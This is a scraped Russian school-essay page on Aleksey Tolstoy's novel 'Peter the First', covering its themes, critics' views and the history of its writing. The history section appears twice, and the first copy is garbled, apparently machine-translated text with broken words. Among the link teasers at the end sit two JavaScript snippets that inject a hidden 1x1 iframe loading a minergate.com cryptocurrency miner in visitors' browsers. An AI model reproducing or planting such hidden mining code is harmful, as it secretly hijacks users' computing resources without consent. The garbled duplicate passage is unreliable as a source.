  1. Основная тема — патриотизм . Автор показывает, что наша земля богата различными природными залежами, но они растрачиваются впустую. Таким образом, в нашей стране есть потенциал, но он либо не используется, либо используется неправильно. Это может изменить только сильный и волевой человек, по мнению писателя. Каждый из нас ради своей родины, ради своего будущего должен стать таким человеком.
  2. Главная проблема – власть и ее влияние на личность . Петру пришлось столкнуться с родственными интригами, родные люди готовы были избавиться от него, лишь бы занять престол. Тяга к власти выбивает из человека все самое хорошее, оставляя на месте души выжженное поле.
  3. Проблема социальной несправедливости . Петр поставил себя на место обычного работника и понял, как тяжела жизнь народа под гнетом боярского произвола. Поэтому он так ополчился против знати, которая своей алчностью тянула страну назад, изнуряя крестьянина и живя за его счет.
  4. Социальная проблематика также включает в себя и вопрос о готовности народа к переменам. Новаторам очень трудно менять мир, они постоянно сталкиваются с непониманием и агрессией тех, кто привык жить по старинке.

Главная мысль

Основная идея романа заключается в том, что большой стране нужен дальновидный, целеустремленный и решительный лидер, который силой своей воли направит страну вперед. Без сильной и твердой руки невозможно эффективное управление. Без нее элита никогда не согласится менять хоть что-либо, ведь ей и так хорошо живется, а народ из страха перемен или невежества будет плавно погружаться в застой. Таким образом, настоящий лидер – это жесткий и непреклонный человек, который обязан идти на жертвы, чтобы творить историю.

С этим посылом можно не согласиться, он очень спорный. Автор, который вернулся из эмиграции и (благодаря протекции Горького) устроился при враждебном ему режиме, мог выполнять политический заказ, смысл которого в том, чтобы оправдать жестокую диктатуру Сталина, прикрывая репрессии исторической необходимостью.

Чему учит?

Изменения, приносящие пользу, нужны всегда. Жизнь не может стоять на месте, особенно в таком большом государстве, как наша страна. Но хоть сколько-нибудь значимые преобразования не могут свершиться сами собой, без нашей готовности к ним. Книга учит людей брать ответственность за будущее страны в свои руки и смотреть в будущее.

Нередко сами люди тормозят прогресс, и их действительно приходится подталкивать сверху, таково прямое назначение правительства. Но и сам человек должен идти навстречу позитивным переменам, должен развиваться и адаптироваться в современности, а не стоять на месте и упираться в то, что уже есть. Тогда и подталкивать никого не придется.

Критика

Современники высоко оценили произведение «Петр Первый» и сожалели, что автор не закончил его до конца. Например, Корней Чуковский писал, что перед смертью воображение автора стало граничить с ясновидением. Судя по его воспоминаниям, Толстой планировал написать историческую литературную эпопею, посвященную эпохе дворцовых переворотов и правлению Ивана Грозного. Все это было бы продолжением истории, уже написанной им.

И. Эренбург указывал на то, что работа Толстого была похожа на творчество Достоевского. Сам автор не знал, что сделают герои, они оживали в его голове и делали то, что сами считали нужным. Никогда эти писатели не знали, чем кончится та или иная книга.

В. Инбер вспоминал, что Толстой был удивительно цельной натурой и героя выбрал себе под стать. Он также любил Россию, как и первый ее император.

Ю. Олеша отмечал подлинность прозы коллеги по перу. Он часто представлял то, что написано в романе, и строки оживали в его голове. Текст мастерки описывал все то, что хотел сказать литератор.

В. Лидин говорил, что в Толстом он ценит, прежде всего, народность. Его царь – как будто человек из народа, живущий интересами простых людей. Автор виртуозно передал русский дух, уделив внимание живой русской речи, которая украшает текст и передает тончайшие оттенки смыслов.

Л. Коган описывал подробности бесед с писателем, тот считал, что переломным моментом в русской истории является полтавская битва, именно там царь и народ соединились в едином порыве.

Г. Уланова полагала, что Толстой жил в душах своих героев, как будто бы сам переживал их эмоции, будто бы видел историю своими глазами.

Интересно? Сохрани у себя на стенке!

Как мы уже знаем, еще в 1917 году Толстой старался найти разгадку этого в прошлом. Тогда эта попытка закончилась неудачей: идеалистическое мировоззрение писателя привело его к ошибочным выводам. Рассказ «День Петра» глубоко пессимистический. И дело не в том, что Петр в глазах автора - полусумасшедший деспот, а в глазах народа - антихрист, который вслед за символистом Мережковським. Толстой другой раз наделял большого государственного деятеля чертами дегенеративности. Источник пессимизма в том, что Петр, по убеждению автора, «одной своей страшной волей укреплял государство, развивал землю», что сопротивления у него нет. Помощники царя - пропойцы, воре и мошеннике, народ его не понимает и проклинает, да и сам Петр руководствуется не государственными соображениями, а низменным чувством мелкого хозяйчика, завидуют кулак^-кулак-соседа-кулака

«Что была Россия ему, царю, хозяину, который воспылался досадой и ревностью: как это - двор его и скот, наймиты и все хозяйство хуже, самые дурные соседского? С перекошенным от гнева и нетерпения лицом прискакал хозяин из Голландии в Москву … Налетел с досадой, - вишь, угодье какое досталось в наследство, не то, что в курфюрста бранденбургского, у голландского штатгальтера. Сейчас же, в этот же день, все перевернуть, перекроить, обстричь бороды, надеть всем голландский кафтан, порозумнишати, думать начать по-другому ». И хоть треснула сверху книзу вся иепробудность - окно все-таки было прорублено, и свежий ветер Еорвался в старые терема, - произошло не то, чего хотел Петр: «Россия не вошла, нарядная и сильная, на банкет больших государств. А подтащенная им за волос, окровавленная и сошла с ума от ужаса и отчаяния, появилась новым родственникам в жалком и неравном виде - рабой ». При таком трактовании личности Петра и Петровской эпохи целиком закономерная глубоко пессимистическая концовка рассказа: «и бремя в этот день и всех дней, прошлых и будущих, свинцовой тягой легло на плече ему, которая взяла непосильную человеку тяжесть: одного за всех».

Осенью 1928 года Толстой вернулся к образа Петра в пьесе «На дыбе» («Петр Первый»). За двенадцать лет, отделяли трагедию от рассказа, взгляды писателя на Петровскую эпоху изменились. Не прихоть хозяина-самодура, а историческая необходимость заставляет царя проводить государственные реформы. Но как и раньше глубоко трагическая романтическая фигура Петра, одинокого в своей титанической деятельности и, непонятного даже близкими, обрекает ради государства на жертву всех и все: народ, друзей, сына, жену, себя. Ни автору, ни его герою неясно главное: « Для кого это?» А потому символически звучит последняя фраза Петра, который видит, как гибнет дело его жизнь: «Страшный конец».

Пьеса была написана Толстым «из налета», в два с излишком месяца (законченная 12 декабря 1928), без детального изучения исторических материалов, без глубокого проникновения у суть эпохи. В ней остались еще выразительные следы влияния реакционных писаний Мережковського. Все это привело к тому, что пьеса вышла символически-романтической, и еще густо сдобренной натуралистическими деталями. Сам Толстой о ней позднее откликался пренебрежительно, справедливо указывая, что в трагедии «На дыбе» «не было истинного изучения материала», а потому оказалось «много романтики» и Петр «пахнул Мережковським».

Завершив пьесу, Толстой собирался написать повесть о Петре и после серьезной подготовки взялся за нее в феврале 1929 года. «Повесть начинает разворачиваться так, как я того хотел»,-сообщал он В. П. Полонському 22 февраля. Через месяц Толстой ему же пишет: «Мне кажется, Вы будете удовлетворены Петром, лучшего я не писал. Но это так тяжело, что иногда приходишь в отчаяние ». Уже на второму разделе писатель понял, что выходит не повесть, а роман, и к тому же - многотомный. 2 мая 1929 он сознался: «Начавши работать над Петром, я думал все заключить в одной книге, теперь вижу свое легкомыслие». Правда, писатель считал еще, что в третий (по тогдашнему плану - последней) лбе первой книги будет изображенная «Голландия, смертная казнь стрельцов, истории с Монс, начало Северной войны и основание Петербурга». Закончить эту часть Толстой обещал в июле 1929 года. Однако работа перекинула эти расчеты. Первая книга «Петра» была законченная лишь 12 мая 1930 года, и последняя, седьмая глава завершается смертной казнью стрельцов. Другие пункты плана составили содержание второй книги, которую Толстой писал из декабря 1932 года по 22 апреля 1934 года. Над третьей книгой эпопеи писатель начал работать 31 декабря 1943 года и успел довести ее к шестому разделу

В разные года Толстой по-разному был намерен закончить роман-эпопею. В свое время он хотел показать в последней книге смерть Петра, кратковременное торжество феодальной реакции и завершить изображением другого большого сына российского народа - М. В. Ломоносова, давши тем самым оптимистичную перспективу российской истории после Петра. Уже работая над третьей книгой, Толстой в письме В. Б. Шкловсько от 21 ноября 1944 года сообщает: «Роман хочу довести только к Полтаве, может быть к Прутскому походу, еще не знаю. Не хочется, чтобы люди в нем постарели, - что мне с ними со старыми делать? »Смерть воспрепятствовала писателю довести монументальную работу до конца. Но несмотря на это, эпопея о Петре - одно из самых цельных, завершенных произведений самого Толстого и вершинное достижение мирового исторического романа

Научный историзм помогли Толстому уловить основные закономерности Петровской эпохи. А найденные закономерности в свою очередь освещали новым светом уже знакомый конкретный исторический материал, позволяли не только представить в воображении прочитанное, а и дополнить собственной фантазией. И истинные исторические личности, и созданные воображением писателя фигуры приходили в движение, разговаривать, думать - жить повнокровнимжиттям.

Как большому художнику Толстому было свойственно умение «галлюцинировать», то есть живо представлять в своем воображении изображаемое. Сам Толстой считал, что это качество можно и нужно развивать в себе, поскольку оно является непременным условием литературного мастерства вообще. «Это закон для писателя, - утверждал он, - создавать произведению путем внутреннего видения тех предметных, какие они описывают

Стало быть, надо в себе выработать эту способность видения. Нужно над собой работать в этом отношении

Поведение любого, даже мимоходом, в одной сцене очерченный персонаж обусловлен у Толстого психологически, а психология человека, в свою очередь, определяется и ходом истории, и положением данного лица в окружающем мире, и конкретными обстоятельствами, в которых он живет и действует. При этом писатель, создавая образ, учитывает найдрибниши детали, выдвигая иногда на первый план такие, которые современному читателю могут сдаться второстепенными, малозначащими. Вот, например, очень короткая, всего в одну страницу сцена, в которой Петр в присутствии дьяка Андрея Андреевича Виниуса принимает купца Жигулина. Богатый и умный купец, очевидно, довольно много слышал о Петре, потому что он не гепаеться в ноги царю и не молит, стуча лбом об подлоге, как имело бы быть раньше, а лишь кланяется. Для него, российского человека из низов, который вырос в сознании, что царь - это земной бог, приказ Петра сесть в него присутствии звучит дико. Однако же и Петр - не такой царь, как были: которой бы «царь всия Руси» переглянулся к разговору с безродным, незнатных семей купцом, принимал его лично, так еще без бояр, без византийского великолепия, при одному дьяка, в обнищавшем домике на березе Двины, не в роскошной одежде, - в полотняные, загрязненной смолой рубашке, с засученными по локоть рукавами? Но Жигулин-«купчина», он привык ко всякому в торговле - прикидываться равнодушным, лицемерить, скрывать свои чувства: первая заповедь купца «не обманешь - не продашь».

И потому Жигулин почти не выдает душевного смятения («только шевельнул бровями»), видно лишь замедленность, осторожность в движениях («сел с большим слежением»), слышная сдержанность в словах. Все же таки, излагая по-деловому, без лишних слов просьбы, купец не забывает по-своему пообещать и царю выгоду - «своему послужим».


Как мы уже знаем, еще в 1917 году Толстой пытался найти разгадку настоящего в прошлом. Тогда эта попытка окончилась неудачей: идеалистическое мировоззрение писателя привело его к ошибочным выводам. Рассказ «День Петра» глубоко пессимистичен И дело не в том, что Петр в глазах автора - полубезумный деспот, а в глазах народа - антихрист, что вслед за символистом Мережковским. Толстой иной раз наделял великого государственного деятеля чертами дегенеративности. Источник пессимизма в том, что Петр, по убеждению автора, «одной своей страшной волей укреплял государство, перестраивал землю», что опоры у него нет. Помощники царя - пропойцы, воры и жулики, народ его не понимает и проклинает, да и сам Петр руководствуется не государственными соображениями, а низменным чувством мелкого хозяйчика, завидующего соседу-кулаку.

«Что была Россия ему, царю, хозяину, загоревшемуся досадой и ревностью: как это - двор его и скот, батраки и все хозяйство хуже, глупее соседского? С перекошенным от гнева и нетерпения лицом прискакал хозяин из Голландии в Москву... Налетел с досадой,- ишь, угодье какое досталось в удел, не то, что у курфюрста бранденбургского, у голландского штатгальтера.
Сейчас же, в ϶ᴛόᴛже день, все перевернуть, перекроить, обстричь бороды, надеть всем голландский кафтан, поумнеть, думать начать по-иному». И хоть треснула сверху донизу вся иепробудность - окно все же было прорублено, и свежий ветер Еорвался в ветхие терема,- случилось не то, чего хотел Петр: «Россия не вошла, нарядная и сильная, на пир великих держав. А подтянутая им за волосы, окровавленная и обезумевшая от ужаса и отчаяния, предстала новым родственникам в жалком и неравном виде - рабою». При такой тракᴛᴏʙке личности Петра и Петровской эпохи вполне закономерна глубоко пессимистическая концовка рассказа: «И бремя этого дня и всех дней, прошедших и будущих, свинцовой тягой легло на плечи ему, взявшему непосильную человеку тяжесть: одного за всех».

Осенью 1928 года Толстой вернулся к образу Петра в пьесе «На дыбе» («Петр Первый»). За двенадцать лет, отделявших трагедию от рассказа, воззрения писателя на Петровскую эпоху изменились. Информация с сайта Бигреферат.ру / сайт Не прихоть хозяина-самодура, а историческая необходимость заставляет царя проводить государственные реформы. Но по-прежнему глубоко трагична романтическая фигура Петра, одинокого в своей титанической деятельности и, непонятого даже близкими, обрекающего ради государства на жертву всех и все: народ, друзей, сына, жену, себя. Ни автору, ни его герою неясно главное: «Для кого сие?» А ᴨᴏᴛому символически звучит последняя фраза Петра, видящего, как гибнет дело его жизни: «Страшен конец».

Пьеса была написана Толстым «с налету», в два с небольшим месяца (окончена 12 декабря 1928 г.), без детального изучения исторических материалов, без глубокого проникновения в сущность эпохи

В ней остались еще явственные следы влияния реакционных писаний Мережковского. Все это привело к тому, что пьеса вышла символически-романтической, да еще обильно сдобренной натуралистическими деталями. Сам Толстой о ней впоследствии отзывался пренебрежительно, справедливо указывая, что в трагедии «На дыбе» «не было настоящего изучения материала», а ᴨᴏᴛому оказалось «много романтики» и Петр «попахивал Мережковским».

Завершив пьесу, Толстой собирался написать повесть о Петре и после серьезной подгоᴛᴏʙки взялся за нее в феврале 1929 года. «Повесть начинает развертываться так, как я того хотел»,-сообщал он В. П. Полонскому 22 февраля. Через месяц Толстой ему же пишет: «Мне кажется, Вы будете довольны Петром, лучшего я не писал. Но это так трудно, что иногда приходишь в отчаяние». Уже на второй главе писатель понял, что получается не повесть, а роман, и к тому же - многотомный. 2 мая 1929 года он признался: «Начав работать над Петром, я думал все уложить в одной книге, теперь вижу свое легкомыслие». Правда, писатель полагал еще, что в третьей (по тогдашнему плану - последней) главе первой книги будет изображена «Голландия, казнь стрельцов, история с Монс, начало Северной войны и основание Петербурга». Окончить эту часть Толстой обещал в июле 1929 года. Но при этом работа опрокинула эти расчеты. Первая книга «Петра» была закончена лишь 12 мая 1930 года, и последняя, седьмая глава завершается казнью стрельцов. Остальные пункты плана составили содержание второй книги, которую Толстой писал с декабря 1932 года по 22 апреля 1934 года. Над третьей книгой эпопеи писатель начал работать 31 декабря 1943 года и успел довести её до шестой главы.

В разные годы Толстой по-разному намеревался закончить роман-эпопею. Одно время он хотел показать в последней книге смерть Петра, кратковременное торжество феодальной реакции и завершить изображением другого великого сына русского народа - М. В. Ломоносова, дав тем самым оптимистическую перспективу русской истории после Петра. Уже работая над третьей книгой, Толстой в письме В. Б. Шкловскому от 21 ноября 1944 года сообщал: «Роман хочу довести только до Полтавы, может быть до Прутского похода, еще не знаю. Не хочется, чтобы люди в нем состарились, - что мне с ними со старыми делать?» Смерть помешала писателю довести монументальный труд до конца. Но несмотря на это, эпопея о Петре - одно из самых цельных, завершенных произведений самого Толстого и вершинное достижение мирового исторического романа.

Научный историзм помогли Толстому уловить основные закономерности Петровской эпохи. А найденные закономерности в свою очередь освещали новым светом уже знакомый конкретный исторический материал, позволяли не только представить в воображении прочитанное, но и дополнить собственной фантазией. И действительные исторические личности, и созданные воображением писателя фигуры начинали двигаться, разговаривать, думать - жить полнокровной жизнью.

Как большому художнику Толстому было свойственно умение «галлюцинировать», то есть живо представлять в своем воображении изображаемое. Сам Толстой считал, что это качество можно и нужно развивать в себе, поскольку оно является непременным условием литературного мастерства вообще. «Это закон для писателя, - утверждал он, - создавать произведения путем внутреннего видения тех предметностей, которые они описывают.

Стало быть, нужно в себе выработать эту способность видения. Нужно над собой работать в этом отношении.

Поведение любого, даже мимоходом, в одной сцене очерченного персонажа обусловлено у Толстого психологически, а психология человека, в свою очередь, определяется и ходом истории, и положением данного лица в окружающем мире, и конкретными обстоятельствами, в которых он живет и действует. При этом писатель, создавая образ, учитывает мельчайшие детали, выдвигая иногда на первый план такие, какие современному читателю могут показаться второстепенными, малозначащими. Вот, к примеру, очень короткая, всего в одну страницу сцена, в которой Петр в присутствии дьяка Андрея Андреевича Виниуса принимает купца Жигулина. Богатый и умный купец, очевидно, достаточно наслышан о Петре, ᴨᴏᴛому он не бухается в ноги царю и не молит, стуча лбом об пол, как полагалось бы раньше, а лишь кланяется. Важно понимать - для него, русского человека из низов, выросшего в сознании, что царь - это земной бог, повеление Петра сесть в его присутствии звучит дико. Но при этом ведь и Петр - не такой царь, как были: какой бы «царь всея Руси» снизошел до разговора с безродным, неименитым купцом, принимал его самолично, да еще без бояр, без византийской пышности, при одном дьяке, в захудалом домишке на берегу Двины, не в роскошном одеянии, - в холщевой, запачканной смолой рубахе, с закатанными по локоть рукавами? Но Жигулин- «купчина», он привык ко всякому в торговле - притворяться равнодушным, лицемерить, скрывать свои чувства: первая заповедь купца «не обманешь - не продашь».

И ᴨᴏᴛому Жигулин почти не выдает душевного смятения («только шевельнул бровями»), видны лишь замедленность, осторожность в движениях («сел с великим бережением»), слышна сдержанность в словах. Все же, излагая по-деловому, без лишних слов просьбу, купец не забывает по-своему посулить и царю выгоду - «своему послужим».

Страница 1 из 1



Изложение романа Булгакова «Белая гвардия»

Замысел романа Достоевского «Бесы»

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...


Главная цель и смысл романа Достоевского «Идиот»

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })();...



Классик украинской литературы Иван Антонович Кочерга известен как выдающийся творец исторической драмы. Мудрый философ, добрый мечтатель и гуманист, он верил в людей, прославлял благородство их душ, силу их ума и творческой энергии, с увлечением и удивлением воспевал высокие порывы их сердец. Светлыми чувствами любви к человеку пронизаны лучшие произведения И. Кочерги: «Алмазное жерно», «Свечкина свадьба», «Ярослав Мудрый», в которых воспроизведена героическая и трагическая история нашего народа. Первым произведением, написанным на историческую тему, была комедия «Фея горького миндаля» (1925), действие которой происходило в начале XIX столетия. Эта комедия была оценена критиками преимущественно отрицательно. Итак, первая попытка И. Кочерги создать «историческую драму из жизни украинского города» закончилась неудачей, тем не менее, к названной теме он будет возвращать еще не раз....



Процент книжной лексики в обоих текстах приблизительно одинаков, Однако в целом текст А. Меня производит впечатление более официального: в Нем употребляется больше слов относящихся к официально-деловому и Публицистическому стилю, в то время как текст М. Булгакова тяготеет к стилю Художественному, помимо функционально-стилистических средств в нем Используются разнообразные фигуры речи, эпитеты, метафоры. Булгаков Передает скорее эмоциональный настрой, а Мень стремится донести информацию (косвенным доказательством служит сравнение объема двух этих текстов при Одинаковом уровне информативности). Первый день показался длинным, потому, наверное, что начался в четыре Утра. Он тянулся и никак не мог закончиться. И в этом дне запомнился только Дождь, что большая редкость для Италии в июне месяце. Советские туристы не могли сделать шагу, чтобы не остолбенеть и не Замереть, как будто они наступили на оголенный провод и через них пошел Ток....